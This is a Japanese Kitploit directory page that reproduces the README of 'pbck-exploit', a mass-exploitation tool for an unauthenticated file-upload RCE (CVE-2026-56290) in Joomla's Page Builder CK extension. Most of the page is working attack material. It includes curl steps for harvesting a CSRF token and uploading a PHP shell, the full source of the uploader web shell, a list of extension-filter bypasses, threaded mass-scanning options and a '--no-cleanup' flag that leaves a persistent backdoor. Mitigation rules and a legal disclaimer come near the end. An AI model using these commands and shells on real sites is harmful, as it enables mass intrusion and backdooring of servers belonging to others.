Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pbck-exploit — 📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE | Kitploit
ツール/GitHubGitHub/shinthink/pbck-exploit
偵察脆弱性スキャナーエクスプロイトフレームワークウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubshinthink/pbck-exploit

pbck-exploit

📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE

リポジトリを見る
31ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK エクスプロイト

Python CVE License

Discovery CSRF RCE Cleanup Live

Joomla Page Builder CK 向け大規模エクスプロイト&検証フレームワーク

未認証の任意ファイルアップロード → リモートコード実行



📑 目次

  • 脆弱性の概要
  • 影響を受けるバージョン
  • 特徴
  • インストール
  • 使い方
  • 概念実証
  • 技術的な詳細
  • 検出方法
  • 防御と緩和策
  • 免責事項
  • 参考情報

🔴 脆弱性の概要

CVE-2026-56290 は、人気の Joomla ページビルダー拡張機能である Page Builder CK(com_pagebuilderck)における深刻度「Critical」の脆弱性です。browse.ajaxAddPicture コントローラメソッドは、ユーザーが制御可能な宛先パスへの未認証ファイルアップロードを受け入れるため、攻撃者が Web からアクセス可能なディレクトリに任意の PHP ファイルを書き込むことができます。

根本原因

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

path パラメータは trim() によるサニタイズのみが行われます。ホワイトリストも、ディレクトリトラバーサルチェックも、認証ゲートもありません。さらに、CSRF トークンはどの Joomla ページからでも公開アクセス可能なため、攻撃者は任意の書き込み可能ディレクトリに PHP シェルをリモートでアップロードできます。

影響

ベクトル深刻度影響
未認証ファイルアップロード9.8(Critical)任意の PHP コード実行
CSRF トークン収集

攻撃チェーン

root@kitploit:~
1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 影響を受けるバージョン

注記: バージョンは Joomla のマニフェストファイル /administrator/manifests/files/com_pagebuilderck.xml から検出されます。マニフェストにアクセスできない場合、スキャナはデフォルトで対象を潜在的に脆弱なものとして扱います。


✨ 特徴


📦 インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

要件

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 使い方

コマンドライン引数

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

基本的な使い方

root@kitploit:~
# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

ターゲットファイル形式

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 概念実証

シナリオ 1:ライブ出力による大量スキャン

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

シナリオ 2:手動再現(curl + Python)

ステップ 1 — CSRF トークンの収集

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

ステップ 2 — PHP シェルのアップロード

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

ステップ 3 — RCE の検証

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

シナリオ 3:PHP シェルペイロード

スキャナは自己完結型のアップローダーシェルを展開します。exec()、system()、eval() は不要です:

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

シェルの機能:

  • 📤 POST f=@file で追加ファイルをアップロード
  • 🧹 ?cleanup=1 で自己削除
  • 🔑 トークンベースの検証(スキャナが出力内の一意のトークンを確認)

🔬 技術的な詳細

アーキテクチャ

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

エンドポイント探索戦略

スキャナは、ターゲットごとの時間予算(15 秒)を持つ段階的ブルートフォース方式を採用しています:

各組み合わせ:.txt プローブをアップロード → GET で検証 → 成功時にマッチ。確認されると即座に戻ります。

拡張子バイパスの考え方

CKFile::makeSafe() は一部の構成で .php をブロックします。バイパス戦略:

root@kitploit:~
Tier 1: Fast
  php, PHP, pht, phar
         ↓ (if blocked)
Tier 2: Case juggling
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (if blocked)
Tier 3: Alternative handlers
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (if blocked)
Tier 4: Double extensions
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (if blocked)
Tier 5: Windows tricks
  php., PHP., php. , php.SWF

CSRF トークン収集

Joomla の CSRF トークンはすべてのページ(ホーム、ログイン、登録、お問い合わせフォーム、管理画面)に埋め込まれています:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registration
    "/index.php?option=com_contact&view=contact&id=1",              # contact
    "/administrator/index.php",                                     # admin login
]

パターン A — HTML の hidden 入力: <input type="hidden" name="<hex32>" value="1">

パターン B — JSON 設定: "csrf.token":"<hex32>"


🔍 検出方法

Joomla 検出(2 フェーズ)

フェーズ 1 — HTML フィンガープリント(高速・確定的)

  • 「Joomla!」を含む Generator メタタグ
  • 構造要素: <jdoc:include>、joomla-script-options、"csrf.token"
  • パスパターン: /components/com_、/modules/mod_、/plugins/system/
  • セッション Cookie の分析

フェーズ 2 — 管理パネルプローブ(フォールバック)

  • /administrator/ ページを取得
  • Joomla 固有の管理マーカーを確認: name="username"、mod-login-、administrator/templates/

PBCK 検出(3 段階)

階層 1 — HTML の強い指標

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

階層 2 — 確認を伴う HTML の弱い指標

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

階層 3 — 直接ファイルプローブ(PBCK がホームページにないインストールを検出)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ 防御と緩和策

1. 直ちにアップグレードする

root@kitploit:~
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/

2. アップロードエンドポイントをブロックする

root@kitploit:~
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. 書き込み可能ディレクトリでの PHP 実行を強化する

root@kitploit:~
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. 自社環境を監査する

root@kitploit:~
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ 免責事項

🚨 教育および承認されたテスト目的のみ

本ソフトウェアは教育目的および正当なセキュリティ研究のためにのみ提供されます。以下の用途での使用を想定しています:

  • 🛡️ 承認されたペネトレーションテストを実施するセキュリティ専門家
  • 🏢 自社の Joomla インフラストラクチャを監査する組織
  • 🔬 脆弱性エクスプロイト技術を研究する研究者
  • 🎓 Web アプリケーションセキュリティを学ぶ学生

❌ 本ソフトウェアを以下の目的で使用してはなりません:

  • 明示的な書面による承認なしにコンピュータシステムへアクセスすること
  • 所有していないシステムを侵害、破壊、または妨害すること
  • いかなる種類の違法行為を行うこと

⚖️ 法的通知

コンピュータシステムへの不正アクセスは、以下の法律(これらに限定されません)に違反します:

  • 米国: Computer Fraud and Abuse Act(18 U.S.C. § 1030)
  • インドネシア: UU ITE 第 30 条および第 46 条(UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • 欧州連合: 指令 2013/40/EU
  • 英国: Computer Misuse Act 1990

著作者は、本ツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。本ソフトウェアを使用することにより、利用者はご自身の行為に対して単独で責任を負うことを了承し、適用されるすべての法律を遵守することに同意したものとみなされます。


📚 参考情報


⚡ セキュリティ研究コミュニティのために精密に構築 ⚡

Joomla® は Open Source Matters, Inc. の登録商標です。
本プロジェクトは Joomla、Open Source Matters、または Page Builder CK とは提携しておらず、その承認も受けていません。

ツールをダウンロード
5.3(Medium)
アップロードチェーンを可能にする
情報漏えい5.3(Medium)拡張機能バージョンのフィンガープリンティング
Page Builder CK バージョンステータス備考
3.1.1 以下🔴 脆弱未認証アップロードを確認済み
3.4.10 以下🔴 脆弱分析により範囲を拡大
3.5.10 以下🔴 脆弱一部のパッチ適用済みバリアントが存在する可能性あり
> 3.5.10🟢 パッチ適用済みの可能性マニフェスト XML で確認

🔍 偵察

  • Joomla 検出 — 2 フェーズ:HTML フィンガープリント+管理パネルプローブ
  • PBCK 検出 — 直接パスプローブ+HTML パターンマッチング
  • バージョン抽出 — マニフェスト XML 解析+HTML 正規表現によるフォールバック
  • CSRF トークン収集 — 複数ページからのトークン抽出(ホーム、ログイン、登録、管理)
  • エンドポイントのブルートフォース — 1000 以上のタスク/パラメータ/パスの組み合わせを時間予算付きで探索

💀 エクスプロイト

  • 40 以上の拡張子バイパス — 大文字小文字の変更、番号付きバリアント、二重拡張子、Windows トリック
  • 20 以上の宛先パス — 拡張機能ディレクトリ、Joomla の書き込み可能ディレクトリ、トラバーサルパス
  • シェル検証 — PHP が実行されることをトークンベースで確認
  • 自動クリーンアップ — 検証後にシェルが自己削除(?cleanup=1)
  • ライブ TXT 出力 — リアルタイムでスレッドセーフな結果をファイルに書き込み
  • JSON レポート — ターゲットごとの完全な詳細を含む構造化レポート
階層タスクファイルパラメータフォルダパラメータ宛先パス組み合わせ総数
階層 1(確認済み)browse.ajaxAddPicture +他 3 件file、Filedatapath、folder、dirPBCK ディレクトリ上位 4 件96
階層 2(フルグリッド)12 タスク4 パラメータ5 パラメータ20 以上のパス4,800 以上
リソースリンク
NVD エントリCVE-2026-56290
Joomla セキュリティdeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
OWASP ファイルアップロード制限のないファイルアップロード